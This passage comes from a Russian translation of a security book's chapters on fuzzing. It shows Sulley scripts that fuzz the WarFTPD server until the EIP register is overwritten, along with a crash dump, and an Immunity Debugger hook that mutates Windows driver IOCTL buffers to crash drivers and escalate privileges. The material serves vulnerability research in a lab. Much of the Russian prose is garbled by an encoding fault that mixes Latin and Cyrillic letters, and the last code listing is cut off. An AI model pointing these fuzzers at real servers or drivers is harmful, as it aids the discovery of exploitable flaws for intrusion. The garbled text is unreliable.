uihegylv операции передачи файлов , между сhbf компьютером и
сервером , где запущен FTP-демон . Загрузите WarFTPD по следующей
ссылке :

http://www.warftp.org/file s/1.6_Series/ward165.exe

Затем запустите инсталлер . Это разархиbjm_l WarFTPD в текущий рабочий
каталог ; после чего Zf нужно просто uihegblv warftpd.exe, чтобы
запустить сер_j . ДаZcl_ бросим беглый a]ey^ на FTP- протокол для того,
чтобы u поняли осноgmx структуру протокола , прежде чем описыZlv его
в Sulley.

9.3.1 FTP 101

FTP – это очень простой протокол, который используется для передачи
данных из одной системы в другую . Он широ
ко используется в различных
средах , начиная с _[ -серверов и заканчивая соj_f_ggufb сетеufb
принтерами . По умолчанию FTP-сер_j прослушивает 21 TCP порт и
получает команды от FTP-клиента . Мы будем дейстhать как FTP-клиент ,
который будет отпраeylv модифицироZggu_ FTP-команды в попытке
поj_^blv тестируемый FTP- сер_j. Не смотря на то , что мы будем
тестироZlv только WarFTPD, u смож
ете aylv наш FTP- фаззер и атаковать
любой другой FTP- сервер, какой u захотите !

Любой FTP-сер_j настроен либо позheylv анонимным пользоZl_eyf
соединяться с сервером , либо требует от них аутентифицироZlvky . Так как
мы знаем , что ошибка WarFTPD сyaZggZ с переполнением буфера в
командах USER и PASS (обе используются для аутентификации ), то мы
будем считать , что требуется аутентификация . Формат для этих FTP- комманд
u]ey^bl следующим образом :

USER
PASS

После того, как u ели праbevgh_ имя и пароль , сервер позhebl Zf
использоZlv полный набор команд для : передачи файлов , изменения
каталогов , запросов к файлоhc системе и др. Так как команды USER и PASS
яey_lky k_]h лишь небольшим подмножестhf всех hafh`ghkl_c FTP-
сервера , даZcl_ добавим еще несколько команд, чтобы про_jblv наличие
других ошибок, после того, как мы аутентифицироZebkv . Взгляните на
Листинг 9-2, чтобы b^_lv , какие дополнительные ко

манды мы dexqbf в
описание скелета протокола . Чтобы получить полное предстаe_gb_ о k_o
командах , которые поддержиZ_l FTP-протокол , пожалуйста , обратитесь к
RFC [3].

Листинг 9-2: Дополнительные FTP-команды , которые мы собираемся
фаззить

CWD - change working directory to DIRECTORY
DELE - delete a remote file FILENAME

MDTM - return last modified time for file FILENAME
MKD - create directory DIRECTORY

Это далеко не полный список, но он даст Zf некоторое дополнительное
предстаe_gb_ о протоколе … ДаZcl_ havf_f то , что мы уже знаем и
преобразуем эти знание в описание скелета протокола для Sulley.

9.3.2 Создание скелета FTP-протокола

Мы hkihevam_fky знаниями о примитиZo , чтобы преjZlblv Sulley в
дробильную машину FTP-сер_jZ. Откройте сhc любимый редактор кода ,
создайте ноuc фал , на

звав его ftp.py и едите следующий код :

ftp.py

from sulley import *

s_initialize("user")
s_static("USER")
s_delim(" ")
s_string("justin")
s_static("\r\n")

s_initialize("pass")
s_static("PASS")
s_delim(" ")
s_string("justin")
s_static("\r\n")

s_initialize("cwd")
s_static("CWD")
s_delim(" ")
s_string("c: ")
s_static("\r\n")

s_initialize("dele")
s_static("DELE")
s_delim(" ")
s_string("c:\\test.txt")
s_static("\r\n")

s_initialize("mdtm")
s_static("MDTM")
s_delim(" ")
s_string("C:\\boot.ini")
s_static("\r\n")

s_initialize("mkd")
s_static("MKD")
s_delim(" ")

s_string("C:\\TESTDIR")
s_static("\r\n")

С созданием скелета протокола покончено . Теперь даZcl_ перейдем к
созданию фаззингоhc сессии, которая сy`_l kx имеющуюся информацию ,
а также настроит сетеhc снифер и отладчик (debugging client).

9.3.3 Sulley Sessions

Сессии в Sulley яey_lky механизмом , который сyauает фаззингоu_
запросы и заботится о: перехZl_ сетеuo пакетов , отладке процесса ,
создании отчетов об ошибках и упраe_gbb bjlmZevghc машинной . Для
начала , даZcl_ со

здадим файл для упраe_gby сессией, а затем разберем
различные его части . Создайте ноuc файл Python, назZ\ его ftp_session.py и
едите следующий код :

ftp_session.py

from sulley import *
from requests import ftp # this is our ftp.py file

(#1): def receive_ftp_banner(sock):
sock.recv(1024)

(#2): sess =
sessions.session(session_filename="audits/warftpd.session")
(#3): target = sessions.target("192.168.244.133", 21)
(#4): target.netmon = pedrpc.client("192.168.244.133", 26001)
(#5): target.procmon = pedrpc.client("192.168.244.133", 26002)
target.procmon_options = { "proc_name" : "war-ftpd.exe" }

# Here we tie in the receive_ftp_banner function which receives
# a socket.socket() object from Sulley as its only parameter
sess.pre_send = receive_ftp_banner
(#6): sess.add_target(target)
(#7): sess.connect(s_get("user"))
sess.connect(s_get("user"), s_get("pass"))
sess.connect(s_get("pass"), s_get("cwd"))
sess.connect(s_get("pass"), s_get("dele"))
sess.connect(s_get("pass"), s_get("mdtm"))
sess.connect(s_get("pass"), s_get("mkd"))

sess.fuzz()

Функция receive_ftp_banner() (#1) необходима , потому что каждый FTP-
сервер имеет баннер , который он отображает при подключении клиента. Мы
сyau\Z_f эту функцию со сhcklом sess.pre_send, которое гоhjbl Sulley
получить FTP-баннер до отпраdb каких -либо фаззингоuo данных . Также

сhcklо pre_send передает дейстbl_evguc объект сокета Python, так что
наша функция принимает его в качест_ единст_ggh]h параметра . На
перhf шаге , при создании сессии, нужно определить файл сессии (#2),
который будет отслеживать текущее состояние фаззера . Этот постоянный
файл позhey_l запускать и останаebать фаззер , когда нам угодно . На
lhjhf шаге (#3) нужно определить цель для атаки , которая предстаey_l
собой IP- адрес и ном

ер порта . Мы будем атакоZlv адрес 192.168.244.133 и
порт 21, на котором находится наш WarFTPD ( запущенный в нутрии
bjlmZevghc машины в нашем случае ). Третий шаг (#4) гоhjbl Sulley, что
наш снифер устаноe_g на том же самом компьютере и слушает TCP-порт
26001, который яey_lky портом , на котором он принимает команды от
Sulley. Чет_jluc шаг (#5) гоhjbl Sulley, что наш отладчик тоже ус

тановлен
на компьютере с адресом 192.168.244.133, но прослушивает TCP-порт 26002;
и также как и со снифером , Sulley использует этот порт для отпраdb команд
отладчику . Мы также передаем дополнительную опцию , которая гоhjbl
отладчику , что имя процесса , которым мы интересуемся , является war-
ftpd.exe. Затем добаey_f настройки для тестируемого прилож
ения в нашу
сессию (#6). Следующий шаг (#7) должен связать наши FTP-запросы f_kl_ ,
придав им логическую форму . Можно b^_lv , как мы объединили в цепочку
команды аутентификации (USER, PASS), а затем k_ остальные команды ,
которые требуют от пользоZl_ey быть аутентифицироZgguf , мы
присоединили к команде PASS. В заключение , гоhjbf Sulley начать
фаззинг .

Теперь у нас есть полностью определенная сесси
я с хорошим набором
запросов , поэтому даZcl_ посмотрим , как устаноblv наши network и
monitor скрипты. Как только закончим делать это , мы будем готоu
запустить Sulley и посмотреть , что он сможет сделать с нашим подопытным
WarFTPD.

9.3.4 Network и Process Monitoring

Одной из самых приятных особенностей Sulley является его способность
мониторить фаззингоuc тарифик проходящий по сети , а та
кже его
способность обрабатыZlv любые критические ошибки (crashes), которые
происходят на целеhc системе . Это очень Z`gh , потому что можно
соотнести сетеhc трафик с hagbdr_c ошибкой , наложив j_f_ggu_ метки
одного на другой, что значительно сокращает j_fy , необходимое для
перехода от бага до рабочего эксплойта .

Агенты network-monitor и process-monitor яeyxlky Python сценариями ,
которые постаeyxlky с Sulley. С ними очень легко работать . Да
Zcl_ начнем
с process-monitor (process_monitor.py), который расположен в осноghf
каталоге Sulley. Просто запустите его , чтобы уb^_lv спраhqgmx
информацию :

python process_monitor.py

Output:

ERR> USAGE: process_monitor.py
<-c|--crash_bin FILENAME> filename to serialize crash bin
class to
[-p|--proc_name NAME] process name to search for and attach
to
[-i|--ignore_pid PID] ignore this PID when searching for the
target process
[-l|--log_level LEVEL] log level (default 1), increase for
more verbosity
[--port PORT] TCP port to bind this agent to

Мы будем uihegylv скрипт process_monitor.py со следующими
параметрами командной строки :

python process_monitor.py -c C:\warftpd.crash -p war-ftpd.exe

ЗАМЕЧАНИЕ : По умолчанию он сyau\Z_lky с TCP- портом 26002,
поэтому мы не будем изменять опцию --port.

Теперь мы контролируем (monitoring) наш целеhc процесс , поэтому даZcl_
рассмотрим скрипт network_monitor.py. Для его работы требуется несколько
обязательных библиотек, таких как: WinPcap 4.0 [4], pcapy [5] и impacket [6].
Все они предостаeyxl инструкции по устаноd_ , которые расположены на
их официальных сайтах.

python network_monitor.py

Output:

ERR> USAGE: network_monitor.py
<-d|--device DEVICE #> device to sniff on (see list below)
[-f|--filter PCAP FILTER] BPF filter string
[-P|--log_path PATH] log directory to store pcaps to
[-l|--log_level LEVEL] log level (default 1), increase for
more verbosity
[--port PORT] TCP port to bind this agent to

Network Device List:
[0] \Device\NPF_GenericDialupAdapter
(#1): [1] {83071A13-14A7-468C-B27E-24D47CB8E9A4}
192.168.244.133

После того , как мы запустили скрипт мониторинга процесса
(process_monitor.py), нам нужно просто передать этому (network_monitor.py)
скрипту несколько допустимых параметров. Видно , что сетеhc интерфейс ,
который мы хотим использоZlv (#1) устаноe_g в "[1]" на uoh^_ . Мы
передадим его , когда определим параметры командной строки для
network_monitor.py так, как показано тут :

python network_monitor.py -d 1 -f "src or dst port 21" -P
C:\pcaps\

ЗАМЕЧАНИЕ : Вы должны создать C:\pcaps до запуска network_monitor.py.
Выберите легко запоминающееся имя каталога .

Теперь у нас есть оба работающих агента мониторинга , и мы готоu начать
фаззинг . ДаZcl_ перейдем к заключительной части .

9.3.5 Фаззинг и _[ -интерфейс Sulley

Теперь мы готоu запустить Sulley. Мы будем использоZlv _[ -интерфейс ,
чтобы следить за процессом фаззинга . Для на
чала запустите ftp_session.py,
следующим образом :

python ftp_session.py

Он начнет произh^blv uод так , как показано тут :

[07:42.47] current fuzz path: -> user
[07:42.47] fuzzed 0 of 6726 total cases
[07:42.47] fuzzing 1 of 1121
[07:42.47] xmitting: [1.1]
[07:42.49] fuzzing 2 of 1121
[07:42.49] xmitting: [1.2]
[07:42.50] fuzzing 3 of 1121
[07:42.50] xmitting: [1.3]

Если u b^bl_ то же самое у себя , значит k_ отлично . Sulley усердно
отпраey_l данные демону WarFTPD, и если он не сообщил о каких -либо
ошибках , то это значит, что процесс коммуникация между нашими агентами
протекает успешно . Теперь даZcl_ посмотрим на _[ -интерфейс , который
дает нам еще больше информации .

Откройте Zr любимый браузер и перейдите по следую
щей ссылке
http://127.0.0.1:26000
. Вы должны уb^_lv похожий экран, как на Рисунке 9-
1.

Рисунок 9-1: Веб -интерфейс Sulley
Чтобы b^_lv обноe_gby _[ -интерфейса , обноbl_ страницу браузера , и он
покажет какой тест -кейс , и какой примитив в данный момент обрабатыZ_lky
фаззером . На Рисунке 9-1 u можете b^_lv , что происходит фаззинг
пользоZl_evkdbo примитиh\ (прим . пер . Не для k_o очеb^gh , поэтому
подсказыZx . Выh^ сделан на осноZgbb строки "user: 29 of 1,121"),
которые , как мы зн
аем , должны даZlv сбои (crash). Через некоторое j_fy ,
если продолжите обноeylv браузер , то u должны уb^_lv экран _[ -
интерфейса очень похожий на тот , что изображен на Рисунке 9-2.

Рисунок 9-2: Веб -интерфейс Sulley отображающий информацию о сбоях

Отлично ! Мы сумели uaать ошибку в WarFTPD, и Sulley собрал kx
уместную информацию о ней . В обоих тест-кейсах мы b^bf , что WarFTPD
не смог дизассемблироZlv инструкцию по адресу 0x5c5c5c5c. Отдельный
байт 0x5c представляет ASCII симhe "\", поэтому можно с у_j_gghklvx
предположить , что мы полностью переписали буфер с помощью
последоZl_evghklb симheh\ "\". Когда наш отладчик не смог
дизассемблироZlv данные по адресу , на который указыZe EIP, это uaало
фолт (failed), так как 0x5c5c5c5c не яey_l

ся допустимым адресом . Это
наглядно демонстрирует hafh`ghklv упраe_gby регистром EIP, что
означает , что мы нашли эксплуатируемую ошибку ! Не стоит слишком
радоZlvky , поскольку мы нашли ошибку , о которой знали , что она там есть .
Но это показыZ_l , что наши наudb использоZgby Sulley достаточн

о
хороши, так что теперь мы можем применить разработанные FTP-примитиu
к другим программам и hafh`gh найти там ноu_ ошибки .

Если u сейчас нажмете на номер тест -кейса , то u должны уb^_lv более
подробную информацию о сбое , как показано в Листинге 9-3:

Отчеты об ошибках , генерируемые PyDbg, были рассмотрены в "Access
Violation Handlers" в Гла_ 4.2
. Обратитесь к этому разделу , если Zf не
понятны значения , которые u b^bl_ .

Листинг 9-3: Подробный отчет об ошибке для теста #437

[INVALID]:5c5c5c5c Unable to disassemble at 5c5c5c5c from thread
252
caused access violation when attempting to read from 0x5c5c5c5c
CONTEXT DUMP
EIP: 5c5c5c5c Unable to disassemble at 5c5c5c5c
EAX: 00000001 ( 1) -> N/A
EBX: 5f4a9358 (1598722904) -> N/A
ECX: 00000001 ( 1) -> N/A
EDX: 00000000 ( 0) -> N/A
EDI: 00000111 ( 273) -> N/A
ESI: 008a64f0 ( 9069808) -> PC (heap)
EBP: 00a6fb9c ( 10943388) ->
BXJ_\'CD@U=@_@N=@_@NsA_@N0GrA_@N*A_0_C@N0_Ct^J_@_0_C@N (stack)
ESP: 00a6fb44 ( 10943300) -> ,,,,,,,,,,,,,,,,,, cntr User
from 192.168.244.128 logged out (stack)
+00: 5c5c5c5c ( 741092396) -> N/A
+04: 5c5c5c5c ( 741092396) -> N/A
+08: 5c5c5c5c ( 741092396) -> N/A
+0c: 5c5c5c5c ( 741092396) -> N/A
+10: 20205c5c ( 538979372) -> N/A
+14: 72746e63 (1920233059) -> N/A

disasm around:
0x5c5c5c5c Unable to disassemble

stack unwind:
war-ftpd.exe:0042e6fa
MFC42.DLL:5f403d0e
MFC42.DLL:5f417247
MFC42.DLL:5f412adb
MFC42.DLL:5f401bfd
MFC42.DLL:5f401b1c
MFC42.DLL:5f401a96
MFC42.DLL:5f401a20
MFC42.DLL:5f4019ca
USER32.dll:77d48709
USER32.dll:77d487eb
USER32.dll:77d489a5
USER32.dll:77d4bccc
MFC42.DLL:5f40116f

SEH unwind:

00a6fcf4 -> war-ftpd.exe:0042e38c mov eax,0x43e548
00a6fd84 -> MFC42.DLL:5f41ccfa mov eax,0x5f4be868
00a6fdcc -> MFC42.DLL:5f41cc85 mov eax,0x5f4be6c0
00a6fe5c -> MFC42.DLL:5f41cc4d mov eax,0x5f4be3d8
00a6febc -> USER32.dll:77d70494 push ebp
00a6ff74 -> USER32.dll:77d70494 push ebp
00a6ffa4 -> MFC42.DLL:5f424364 mov eax,0x5f4c23b0
00a6ffdc -> MSVCRT.dll:77c35c94 push ebp
ffffffff -> kernel32.dll:7c8399f3 push ebp

В этом разделе мы изучили некоторые осноgu_ функции , а также
рассмотрели часть kihfh]Zl_evguo функций , которые предостаey_l Sulley.
В поставку Sulley oh^bl намного больше количестh kihfh]Zl_evguo
функций , чем те которые мы рассмотрели . Вы уже сразили Zr_]h перh]h
демона с использоZgb_f Sulley и он должен стать ключевой частью в Zr_f
арсенале охотника за багами . Теперь , когда u знает
е, как фаззить удаленные
сервера , даZcl_ перейдем к локальному фаззингу , а именно к фаззингу
драй_jh\ Windows. На этот раз мы создадим собст_gguc фаззер .


9.4 Ссылки

[1] For the SPIKE download, go to http://immunityinc.com/resources-
freesoftware.shtml

[2] To download the Sulley: Fu zzing Framework manual, go to
http://www.fuzzing.org/wp-c ontent/SulleyManual.pdf

[3] RFC959—File Transfer Protocol (http://www.faqs.org/rfcs/rfc959.html)

[4] The WinPcap 4.0 downl oad is available at
http://www.winpcap.org/insta ll/bin/WinPcap_4_0_2.exe.

[5] CORE Security pcapy (http://oss.co resecurity.com/repo/pcapy-0.10.5.win32-
py2.5.exe).

[6] Impacket is a requirement for pcapy to function; see
http://oss.coresecurity.com/r epo/Impacket-0.9.6.0.zip

ГЛАВА 10
Фаззинг драй_jh\ Windows


Атаковать драй_ju Windows станоblky приuqguf делом для баг -хантеров
и разработчиков эксплойтов. Хотя, за прошлые несколько лет, были
некоторые удаленные атаки на драй_ju , более распространенны локальные
атаки , которые нацелены на поur_gb_ приbe_]bc в скомпрометироZgghc
системе. В предыдущей гла_ , мы использоZeb Sulley для поиска
переполнения буфера в WarFTPD. То, чего мы не знали об этом демоне , та
к
это то , что он был запущен пользоZl_e_f с ограниченными правами . Если
бы нам нужно было атакоZlv этот се_j , то в конечном итоге у нас были бы
только ограниченные праZ , которые в некоторых случаях сильно мешают
тому , какую информацию мы можем украсть или к каким серbkZf мы
можем получить доступ на скомпрометироZgghc системе . Если бы мы
знали , чт

о в системе есть драйвер уязbfuc к переполнению буфера [1] или
другим атакам [2], мы могли бы использоZlv его , как средстh получения
системных приbe_]bc и иметь сh[h^guc доступ к системе и k_c dmkghc
информации на ней .

Для того, чтобы aZbfh^_cklоZlv с драй_jhf , нам нужен переход из
пользоZl

ельского режима в режим ядра . Делается это, путем передачи
информации драй_jm, используя упраeyxsb_ коды ода /uода
«Input/Output Controls (IOCTLs)», которые яeyxlky специальными шлюзами
позheyxsbfb приложениям и серbkZf пользоZl_evkdh]h режима
получать доступ к устройстZf и компонентам режима ядра . Как и с любыми
средствами передачи информации от одного приложения другому , мы можем
использоZlv не безопасные реализации обработчи

ков IOCTL, чтобы
получить поur_gb_ приbe_]bc или полностью обрушить целеmx систему.

Сначала мы рассмотрим , как соединиться с локальным устройстhf , которое
поддержиZ_l IOCTL, а также рассмотрим hijhk отпраdb IOCTL кодов
устройстm . Затем рассмотрим использоZgb_ отладчика Immunity Debugger
для изменения (mutate) IOCTL- кодов до их отпраdb драй_jm . Далее мы
hkihevam_fky kljh_gghc библиотекой статического анализа отладчика ,
driverlib, чтобы получить более подробную информацию о целеh

м драй_j_ .
Мы также заглянем под капот driverlib и научимся расшифроuать Z`gu_
упраeyxsb_ потоки , имена устройств и IOCTL- коды из скомпилироZggh]h
файла драй_jZ. И под конец , используем результаты из driverlib, чтобы
создать тесты -кейсы для аlhghfgh]h драй_j -фаззера . ДаZcl_ начнем .

10.1 Взаимодействие с драй_jhf

Почти каждый драй_j , в Windows, регистрируется в операционной системе
с определенным именем и симhevghc ссылкой , которая позhey_l режиму
пользоZl_ey получить дескриптор к драй_jm так, чтобы он мог общаться с
ним . Мы используем uah\ CreateFileW [3], экспортируемый из kernel32.dll ,
чтобы получить этот дескриптор. Прототип функции u]ey^bl следующим
образом :
HANDLE WINAPI CreateFileW(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);

Перuf параметром яey_lky имя файла или устройстZ , для которых мы
хотим получить дескриптор ; это будет значение симhevghc ссылки ,
которую экспортирует наш драй_j . Параметр dwDesiredAccess определяет
тип доступа к устройстm (чтение , запись или то и другое); для наших целей
мы хотели бы иметь доступ GENERIC_READ (0x80000000) и
GENERIC_WRITE (0x40000000). Мы устаноbf параметр dwShareMode в
нуль, что означает , что к устройстm нельзя пол
учить доступ , пока мы не
закроем дескриптор , haращаемый из CreateFileW. Мы также устаноbf
параметр lpSecurityAttributes в NULL, что означает , что дескриптор
безопасности по умолчанию применяется к дескриптору и не может быть
унаследоZg никакими дочерними процессами, которые мы можем создать .
Параметр dwCreationDisposition устаноbf в OPEN_EXISTING (0x3), что
означает , что мы будем открыZlv устройстh , только если оно сущестm_l , в
протиghf случ

ае CreateFileW не будет работать . Последние дZ параметра
мы устаноbf в нуль и NULL, соот_lklенно .

Как только был получен дейстbl_evguc дескриптор от uahа CreateFireW,
мы можем использоZlv его , чтобы передать IOCTL устройстm . Для
отпраdb IOCTL будем использоZlv uah\ DeviceIoControl [4] , который
экспортируется из kernel32.dll . Он имеет следующий прототип:
BOOL WINAPI DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);

Перuf параметром яey_lky дескриптор, который haращает uah\
CreateFileW. Параметр dwIoControlCode это IOCTL-код, который будет
передаZlvky драй_jm устройстZ . Этот код определит, какие дейстby
должен предпринять драй_j , сразу после обработки нашего IOCTL- запроса.
Следующий параметр lpInBuffer яey_lky указателем на буфер , который
содержит информацию , которую мы передает драй_jm устройстZ . Этот
буфер предстаey_l наибольший интерес для нас , поскольку мы будем
фаззить (изменять ) k_ его содержимое , прежде чем передать его драй_jm.
Параметр nInBufferSize это просто число , которое сообщает драй_jm размер
буфера , который мы передаем ему . Параметры lpOutBuffer и lpOutBufferSize
идентичны предыдущим дmf параметрам , но используются для передачи
информации из драй_jZ в user m

ode. Параметр lpBytesReturned это
дополнительное значение , которое гоhjbl нам , сколько данных было
haращено нашим uahом . Последний параметр lpOverlapped мы просто
устаноbf в NULL.

Теп

ерь , когда у нас есть базоZy информация о aZbfh^_cklии режима
пользоZl_ey с драйверами устройств , даZcl_ , используем отладчик
Immunty Debugger, чтобы перехZlblv (hook) uahы DeviceIoControl и
изменить oh^ysbc буфер до того, как передать его целеhfm драй_jm.


10.2 Фаззинг драй_jZ с помощью Immunity Debugger

Мы можем использовать Immunity Debugger для перехZlZ uahов
DeviceIoControl прежде, чем они достигнут тестируемого драй_jZ. Мы
напишем простую команду PyCommand, которая будет перехZluать k_
uahы DeviceIoControl, изм

енять (mutate) oh^ysbc буфер , сохранять kx
необходимую информацию на диск и отдаZlv упраe_gb_ обратно целеhfm
приложению . Мы будем сохранять информацию на диск , потому что
успешное uiheg_gb_ фаззинга , при работе с драй_jZfb , определенно
при_^_l к крашу системы ; поэтому мы хотим иметь историю тест -кей
сов
нашего последнего фаззинга , до обрушения системы , чтобы мы могли
hkijhbaести результаты сноZ.

ПРЕДУПРЕЖДЕНИЕ : Убедитесь , что фаззинг проh^blky на тестоhc
машине ! Успешный фаззинг , uiheg_gguc над драй_jhf, при_^_l к
легендарному «Синему экрану смерти », это означает , что система
обрушится и перезагрузится . Вы были предупреждены ! Лучше uihegylv
эту операцию на bjlmZevghc машине .

ДаZcl_ перейдем к коду! Откройте ноuc Python- файл, наз

овите его
ioctl_fuzzer.py и едите следующий код :

ioctl_fuzzer.py
import struct
import random
from immlib import *

class ioctl_hook( LogBpHook ):

def __init__( self ):
self.imm = Debugger()
self.logfile = "C:\ioctl_log.txt"
LogBpHook.__init__( self )

def run( self, regs ):
"""
We use the following offsets from the ESP register to trap the
arguments to DeviceIoControl:

ESP+4 -> hDevice
ESP+8 -> IoControlCode
ESP+C -> InBuffer
ESP+10 -> InBufferSize
ESP+14 -> OutBuffer
ESP+18 -> OutBufferSize
ESP+1C -> pBytesReturned
ESP+20 -> pOverlapped
"""
in_buf = ""

# read the IOCTL code
(#1): ioctl_code = self.imm.readLong( regs['ESP'] + 8 )

# read out the InBufferSize
(#2): inbuffer_size = self.imm.readLong( regs['ESP'] + 0x10 )


# now we find the buffer in memory to mutate
(#3): inbuffer_ptr = self.imm.readLong( regs['ESP'] + 0xC )

# grab the original buffer
in_buffer = self.imm.readMemory( inbuffer_ptr, inbuffer_size )

(#4): mutated_buffer = self.mutate( inbuffer_size )

# write the mutated buffer into memory
(#5): self.imm.writeMemory( inbuffer_ptr, mutated_buffer )

# save the test case to file
(#6): self.save_test_case( ioctl_code, inbuffer_size, in_buff
er,
mutated_buffer )


def mutate( self, inbuffer_size ):

counter = 0
mutated_buffer = ""

# We are simply going to mutate the buffer with random bytes
while counter < inbuffer_size:
mutated_buffer += struct.pack( "H", random.randint(0, 255)
)[0]
counter += 1

return mutated_buffer

def save_test_case( self, ioctl_code,inbuffer_size, in_buffer,
mutated_buffer ):


message = "*****\n"
message += "IOCTL Code: 0x%08x\n" % ioctl_code
message += "Buffer Size: %d\n" % inbuffer_size
message += "Original Buffer: %s\n" % in_buffer
message += "Mutated Buffer: %s\n" % mutated_buffer.encode("HEX
")
message += "*****\n\n"

fd = open( self.logfile, "a" )
fd.write( message )
fd.close()

def main(args):

imm = Debugger()

deviceiocontrol = imm.getAddress( "kernel32.DeviceIoControl" )

ioctl_hooker = ioctl_hook()
ioctl_hooker.add( "%08x" % deviceiocontrol, deviceiocontrol )

return "[*] IOCTL Fuzzer Ready for Action!"

Мы не будем рассматривать уже из_klgu_ нам приемы и функции Immunity
Debugger; LogBpHook – был рассмотрен в Гла_ 5. Тут мы просто
перехZluаем IOCTL-код, который передается драй_jm (#1), длину
oh^ys_]h буфера (#2) и указатель на oh^ysbc буфер (#3). Затем создаем
буфер , состоящий из случайных байтов (#4) , но той же длины, что и
оригинальный буфер . Затем перезаписыZ_f оригинальный буфер – наши
м
b^hbaf_g_gguf буфером (#5), после чего сохраняем наш тест -кейс в log-
файл (#6) и haращаем упраe_gb_ программе режима пользоZl_ey .

После того, как u написали код , убедитесь, что файл ioctl_fuzzer.py
находится в директории PyCommnads отладчика Immunity Debugger. Далее
Zf нужно u[jZlv жертm – любую программу , которая использует IOCTL
для общения с драй_jhf (например , снифер пакетов , фаерhe или
антиbjmkgZy программа будут идеальными целями ). Запустите жертm в
отладчике и uihe

ните команду PyCommand – ioctl_fuzzer. Возобноbl_
отладчик и начнется фаззинг ! Листинг 10-1 показыZ_l некоторые
зарегистрироZggu_ тест -кейсы, uiheg_ggu_ h j_fy фаззинга , против
программы Wireshark [5], которая яey_lky снифером сетеuo пакетов.

Листинг 10-1: Фаззинг uiheg_gguc против Wireshark
*****
IOCTL Code: 0x00120003
Buffer Size: 36
Original Buffer: 00000000000000000001000000010000000000000000000
Mutated Buffer: a4100338ff334753457078100f78bde62cdc872747482a5

*****

*****
IOCTL Code: 0x00001ef0
Buffer Size: 4
Original Buffer: 28010000
Mutated Buffer: ab12d7e6
*****

Вы можете b^_lv , что мы обнаружили дZ поддержиZ_fuo IOCTL кода
(0x0012003 и 0x00001ef0) и сильно изменили oh^ysb_ буферы , которые
были отпраe_gu драй_jm. Можно продолжать aZbfh^_cklоZlv с
программой режима пользователя , продолжая изменять oh^ysb_ буферы и
надеяться , в какой -то момент , uaать сбой в драй_j_ !

Хотя в использоZgbb это простая и легкая методика , она k_ же имеет сhb
ограничения . Например , мы не знаем имени устройстZ , которое мы фаззи

м
( хотя , мы могли бы перехZlblv CreateFileW и подсмотреть его , сопостаb\
haращаемый дескриптор, с дескриптором используемым в DeviceIoControl
– остаeyx это Zf в качест_ упражнения ), и мы знаем только те IOCTL-
коды , которые были перехZq_gu h j_fy фаззинга , а это значит , что мы
можем пропустить некоторые тест -ке

йсы . Кроме того, было бы намного
лучше , если бы мы могли продолжать фаззинг до момента пока бы нам это не
надоело или мы не нашли уязbfhklv .

В следующем разделе мы узнаем , как использоZlv инструмент статического
анализа driverlib, который поставляется f_kl_ с Immunity Debugger.
Используя driverlib, можно перечислить имена k_o hafh`guo устройств ,
которые предостаey_l драй_j, так же как и k_ IOCTL- коды, которые он
поддержиZ_l . Оп

ираясь на эти данные , мы сможем создать очень
эффектиguc аlhghfguc генерирующий фаззер , который можно остаblv
работающим на неопределенное j_fy и который не требует aZbfh^_cklия
с программой режима пользоZl_ey . ДаZcl_ приступим к делу !


10.3 Driverlib— Инструмент статического анализа для драй_jh\

Driverlib – это библиотека Python,

предназначенная для аlhfZlbaZpbb
некоторых нудных задач ре_jkbg]Z , которые требуют обнаружения
ключеhc информации из драй_jZ . Обычно для того, чтобы определить
какие имена устройств и IOCTL- коды использует драй_j , нужно загрузить
исследуемый драй_j в IDA Pro или Immunity Debugger и jmqgmx найти
интересующую информацию, пройдясь по дизассемблерному коду. Мы
рассмотрим немного кода из библиотеки driverlib, чтобы по
нять, как она
аlhfZlbabjm_l этот процесс, а затем hkihevam_fky ею , чтобы предостаblv
IOCTL- коды и имена устройств для нашего драй_j-фаззера. ДаZcl_
gZqZe_ рассмотрим код driverlib.

10.3.1 Обнаружение имен устройств

ИспользоZlv мощную kljh_ggmx библиотеку Python отладчика Immunity
Debugger, чтобы найти имена устройств gmljb драй_jZ достаточно просто .
Взгляните на Листинг 10-2, это код из driverlib, который от_qZ_l за
обнаружение имен устройстZ .

Листинг 10-2: Процедура обнаружения имени устройстZ из driverlib
def getDeviceNames( self ):

string_list = self.imm.getReferencedStrings(self.module.getCodebase
())

for entry in string_list:

if "\\Device\\" in entry[2]:
self.imm.log( "Possible match at address: 0x%08x" % entry[0
],
address = entry[0] )


self.deviceNames.append( entry[2].split("\"")[1] )

self.imm.log("Possible device names: %s" % self.deviceNames)

return self.deviceNames

Этот код просто получает список всех строк из драй_jZ , а затем перебирает
его , ища строку «\Device\», которая hafh`gh яey_lky той строкой , которую
драй_j будет использоZlv для регистрации симhebq_kdhc ссылки , чтобы
программа режима пользоZl_ey могла получить его дескриптор. Для
про_jdb этого ут_j`^_gby , попробуйте загрузить драй_j
«C:\WINDOWS\System32\beep.sys» в Immunity Debugger. После того, как он
будет загружен , используйте PyShell отладчик
а и едите следующий код:
*** Immunity Debugger Python Shell v0.1 ***
Immlib instanciated as 'imm' PyObject
READY.
>>> import driverlib
>>> driver = driverlib.Driver()
>>> driver.getDeviceNames()
['\\Device\\Beep']
>>>

Вы b^bl_ , что мы обнаружили дейстbl_evgh_ имя устройстZ
«\\Device\\Beep», используя для этого k_]h три строки кода , без
необходимости просмотра таблицы строк или прокручиZgby строки за
строкой дизассемблерного листинга . Теперь даZcl_ перейдем к
обнаружению осноghc функции обрабатыZxs_c IOCTL-коды и
непосредст_ggh к обнаружению самих IOCTL- кодов, которые поддержиZ_l
драй_j .

10.3.2 Поиск процедуры обработки IOCTL-кодов (IOCTL Dispatch Routine)

Любой драй_j , который реализует интерфейс IOCTL, должен иметь
процедуру обработки IOCTL- кодов, которая обрабатыZ_l различные IOCTL-
запросы . Когда драй_j загружается , перhc функцией , которая получает
упраe_gb_ – яey_lky DriverEntry. Скелет , процедуры DriverEntry, для
драй_jZ , который поддержиZ_l обработку IOCTL- кодов, показан в
Листинге 10-3:

Листинг 10-3: Исходный код простой процедуры DriverEntry
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING

RegistryPath)

{
UNICODE_STRING uDeviceName;
